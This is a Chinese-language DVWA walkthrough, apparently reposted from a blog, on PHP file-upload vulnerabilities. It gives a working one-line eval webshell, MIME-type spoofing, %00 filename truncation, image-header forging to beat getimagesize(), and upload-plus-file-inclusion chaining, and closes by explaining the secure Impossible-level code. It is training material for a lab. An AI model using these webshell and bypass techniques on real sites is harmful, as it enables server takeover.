File Upload,即文件上傳。文件上傳漏洞通常是由於對上傳文件的類型、內容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬獲取服務器的webshell權限,因此文件上傳漏洞帶來的危害常常是毀滅性的。
先看常規的文件上傳操作:
客戶端上傳:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>文件上傳操作</title> </head> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> 用戶名:<input type="text" name="username"><br /> 頭像:<input type="file" name="img"><br /> <input type="submit" value="提交"> </form> </body> </html>
在HTML <form>標簽中enctype屬性規定在發送到服務器之前應該如何對表單數據進行編碼。
它的值有三種:
application/x-www-form-urlencoded: 在發送前編碼所有字符(默認)
multipart/form-data: 不對字符編碼。在使用包含文件上傳控件的表單時,必須使用該值。
text/plain: 空格轉換為 "+" 加號,但不對特殊字符編碼。
服務端接收:
使用$_FILES數組接收參數。
我們打印$_FILES
print_r($_FILES);
發現上傳一個文件時的屬性有:
[name] => feng.jpeg 文件的名稱
[type] => image/jpeg 文件的MIME類型
[tmp_name] => C:\Users\Administrator\AppData\Local\Temp\php2007.tmp 文件的臨時位置
[error] => 0 文件的錯誤信息 0 ok 1234 error
[size] => 2859 文件的大小
文件上傳漏洞的利用的條件:
1.能夠成功上傳木馬文件
2.上傳文件必須能夠被執行
3.上傳文件的路徑必須可知
下面對四種級別的代碼進行分析。
Low Security Level:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
basename()
函數返回路徑中的文件名部分。
string basename ( string $path [, string $suffix ] )
參數介紹:
$path
:必需。規定要檢查的路徑。在Windows
中,斜線(/
)和反斜線(\
)都可以用作目錄分隔符。在其它環境下是斜線(/
)。
$suffix
:可選。規定文件擴展名。如果文件有suffix
,則不會輸出這個擴展名。
舉例:
<?php $path = "/testweb/home.php"; //顯示帶有文件擴展名的文件名 echo basename($path); //顯示不帶有文件擴展名的文件名 echo basename($path,".php"); ?>
輸出:
home.php
home
Exploit
因為對於上面的利用條件全都滿足,直接上傳文件x.php(一句話木馬)
<?php @eval($_POST['x']);?>
上傳成功得到路徑:
http://www.dvwa.com/hackable/uploads/x.php
菜刀成功連接
Medium Security Level
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
從代碼中可以看到,Medium Security Level
的代碼對上傳文件的類型、大小做了限制,要求文件類型必須是jpeg
或者png
,大小不能超過100000B
(約為97.6KB
)。
Exploit
1).抓包修改文件類型
上傳x.png文件,使用Burpsuite抓包:
可以看到文件類型為image/png,嘗試修改filename為x.php,上傳后成功得到x.php文件:
菜刀連接:
http://www.dvwa.com/hackable/uploads/x.php
2).%00截斷上傳繞過
在php版本小於5.3.4的服務器中,當magic_quote_gpc選項為off時,可以在文件名中使用%00截斷,所以可以把上傳文件命名為x.php%00.png。
這里我使用php 5.2.17版本進行測試:
可以看到,包中的文件類型為image/png,可以通過文件類型檢查。點擊上傳后:
服務器會認為其文件名為x.php,順勢解析為php文件。
菜刀連接:
http://www.dvwa.com/hackable/uploads/x.php%00.png
3)文件上傳+文件包含
因為采用的是一句話木馬,所以文件大小符合要求,至於文件類型的檢查,嘗試修改文件名為x.png,上傳成功:
但不能解析識別出是PHP文件,菜刀連接報錯。
此時我們想到文件包含漏洞的利用。這里可以借助Medium Security Level的文件包含漏洞來獲取webshell權限,利用方式如下:
本地文件包含:
http://www.dvwa.com/vulnerabilities/fi/?page=F:/phpStudy/PHPTutorial/WWW/hackable/uploads/x.png
遠程文件包含:
http://www.dvwa.com/vulnerabilities/fi/?page=hthttp://tp://www.dvwa.com/hackable/uploads/x.png
成功獲取webshell權限:
兩種方式,菜刀均可以成功連接。
High Security Level
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
strrpos()函數:
strrpos(string,find,start)
函數返回字符串find在另一字符串string中最后一次出現的位置,如果沒有找到字符串則返回false,可選參數start規定在何處開始搜索。
函數詳細介紹:PHP strrpos() 函數
strtolower()函數:
strtolower(string)
把字符串轉換為小寫。
getimagesize()函數:
getimagesize(string filename)
getimagesize()函數用於獲取圖像大小及相關信息,成功則返回一個數組,失敗則返回FALSE並產生一條E_WARNING級的錯誤信息。
函數詳細參考:PHP 獲取圖像信息 getimagesize 函數
可以看到,High Security Level的代碼讀取文件名中最后一個.后的字符串,通過文件名來限制文件類型因此要求上傳文件名形式必須是*.jpg、*.jpeg 、*.png三者之一。getimagesize()函數更是限制了上傳文件的文件頭必須為圖像類型。
Exploit
利用思路主要是:繞過getimagesize()函數檢測識別和上傳文件名的檢測識別。
讓getimagesize()函數檢測無效的方法:文件頭欺騙,繼而使得getimagesize()函數無法判斷。
下面科普下文件頭相關的知識:
常見的圖片格式的文件頭標識如下:
JPEG/JPG - 文件頭標識 (2 bytes): FF D8 (SOI) (JPEG 文件標識) - 文件結束標識 (2 bytes): FF D9 (EOI) PNG - 文件頭標識 (8 bytes) 89 50 4E 47 0D 0A 1A 0A GIF - 文件頭標識 (6 bytes) 47 49 46 38 39(37) 61 |GIF89(7)a
更多格式的文件頭標識參見文章:通過文件頭標識判斷圖片格式
文件頭欺騙:偽造文件頭,使文件頭標識一樣,其它部分我們修改為一句話木馬,也就成了我們常說的圖片一句話。
下面是兩種常見的圖片一句話制作方法:
方法 1:
copy y.png/b+x.php/a z.png
copy 命令中的兩個文件的位置不能顛倒,否則生成的文件格式無效。
方法 2:
先用C32Asm十六進制模式打開y.png,然后將x.php拖入,然后另存為z.png
之后,我們將制作好的圖片一句話,用getimagesize()函數識別測試,並與原圖片文件對比,打印輸出:
<?php header("Content-type: text/html; charset=utf-8"); echo "y.png:"; $array0 = getimagesize("images/y.png"); print_r($array0); echo "<br />"; echo "copy 命令制作的圖片一句話 z1.png:"; $array1 = getimagesize("images/z1.png"); print_r($array1); echo "C32Asm 制作的圖片一句話 z2.png:"; $array2 = getimagesize("images/z2.png"); print_r($array2); ?>
以上是打印輸出的file.php文件。
我們發現得到的數組內容沒有絲毫改變,
從而證明了兩種方法可以繞過getimagesize()函數的檢測識別。接着我們再來進行利用:
1).%00截斷上傳繞過
采用%00截斷的方法可以輕松繞過文件名的檢查,采用剛才的圖片一句話進行上傳。(適用於php小於 5.3.4 版本)
菜刀連接:
http://www.dvwa.com/hackable/uploads/z.php%00.png
2).文件上傳 + 文件包含
通過上傳圖片一句話和借助High Security Level
的文件包含漏洞來進行利用:
菜刀連接:
http://www.dvwa.com/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/hackable/uploads/z.png
Impossible Security Level
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
相關函數:
in_get(varname)
函數返回相應選項的值
imagecreatefromjpeg(filename)
函數返回圖片文件的圖像標識,失敗返回false
imagejpeg(image,filename,quality)
從image圖像以filename為文件名創建一個JPEG圖像,可選參數quality,范圍從 0(最差質量,文件更小)到 100(最佳質量,文件最大)。
imagedestroy( img )
函數銷毀圖像資源
可以看到,Impossible Security Level的代碼對上傳文件進行了重命名(為md5值,導致%00截斷無法繞過過濾規則),加入Anti-CSRF token 防護 CSRF攻擊,同時對文件的內容作了嚴格的檢查,導致攻擊者無法上傳含有惡意腳本的文件。
轉載自:AnCoLin's Blog|影風博客DVWA File Upload 通關教程